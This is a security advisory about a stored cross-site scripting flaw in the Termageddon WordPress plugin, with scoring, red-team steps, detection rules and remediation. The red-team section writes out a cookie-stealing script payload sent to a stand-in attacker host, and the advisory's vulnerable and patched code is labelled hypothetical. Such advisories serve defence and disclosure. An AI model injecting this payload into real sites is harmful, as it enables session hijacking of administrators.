CVE-2025-58026

Executive Summary

CVE-2025-58026 is a Stored Cross-Site Scripting (XSS) vulnerability in the Termageddon: Cookie Consent & Privacy Compliance WordPress plugin (specifically the termageddon-usercentrics component). This flaw allows an authenticated attacker with low privileges (e.g., a subscriber or contributor) to inject malicious scripts into web pages generated by the plugin. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability affects all versions up to and including 1.8.1. No official patch has been released, and the vendor’s status is unknown. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are affected. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs a WordPress user account with at least Contributor role.
• User Interaction: Required (UI:R) – victim must visit the compromised page.
• Scope: Changed (S:C) – the vulnerability impacts resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS means the payload persists and can affect multiple users over time.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the termageddon-usercentrics component. The plugin fails to sanitize or escape data before storing it in the WordPress database and later rendering it on the frontend. An attacker can inject arbitrary HTML and JavaScript into fields such as cookie consent banners, privacy policy links, or other configurable text areas.

Attack Flow:

1. Attacker logs in with a low-privileged account (e.g., Contributor).
2. Attacker navigates to the Termageddon plugin settings page.
3. Attacker inserts a malicious payload (e.g., <script>alert('XSS')</script>) into an unsanitized input field.
4. The payload is stored in the database.
5. When an administrator or other user visits the page that renders this input, the script executes in their browser.

Root Cause: The plugin uses echo or print functions without applying WordPress escaping functions like esc_html(), esc_attr(), or wp_kses().

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on standard WordPress security practices.

Vulnerable Code (example from plugin):

// In a settings page or frontend rendering function
$user_input = get_option('termageddon_custom_text');
echo $user_input; // No escaping

Patched Code (recommended):

$user_input = get_option('termageddon_custom_text');
echo esc_html( $user_input ); // Escapes HTML entities

For fields that require limited HTML (e.g., links), use wp_kses() with an allowed HTML tags array.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Termageddon plugin <= 1.8.1 installed and activated.
• A low-privileged user account (Contributor or higher).

Steps:

1. Log in as the low-privileged user.
2. Navigate to wp-admin/admin.php?page=termageddon-settings.
3. Locate an input field (e.g., "Custom Consent Text").
4. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the settings.
6. Wait for an administrator to visit the frontend page where the consent banner appears.

Expected Outcome: The admin's session cookie is exfiltrated to the attacker's server.

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual changes to plugin settings.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Disable the plugin until a patch is available.
• Restrict plugin settings access to administrators only.
• Use a security plugin (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the WordPress server.
• File: Modified plugin files (e.g., termageddon-usercentrics.php) containing injected JavaScript.
• Database: Suspicious entries in the wp_options table under termageddon_* keys containing <script> tags.
• Logs: WordPress debug log entries showing wp_redirect or wp_die calls related to plugin settings.

Detection Engineering

YARA Rule

rule CVE_2025_58026_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Termageddon plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58026"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "termageddon-usercentrics"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Termageddon Plugin Settings
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in Termageddon plugin settings
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "wp-admin/admin.php?page=termageddon-settings"
        http.request.body|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58026 Stored XSS in Termageddon Plugin"; flow:to_server; content:"POST"; http_method; content:"wp-admin/admin.php?page=termageddon-settings"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Audit user roles – ensure only trusted administrators have access to plugin settings.
3. Review database for any injected scripts in wp_options table.

Long-Term Fix:

• Apply input validation and output escaping as shown in the patched code example.
• Monitor the vendor's website or WordPress plugin repository for an official update.

Workaround:

• Use a Web Application Firewall (WAF) with XSS protection rules.
• Implement a Content Security Policy (CSP) that blocks inline scripts.

Valters IT
Securing Digital Frontiers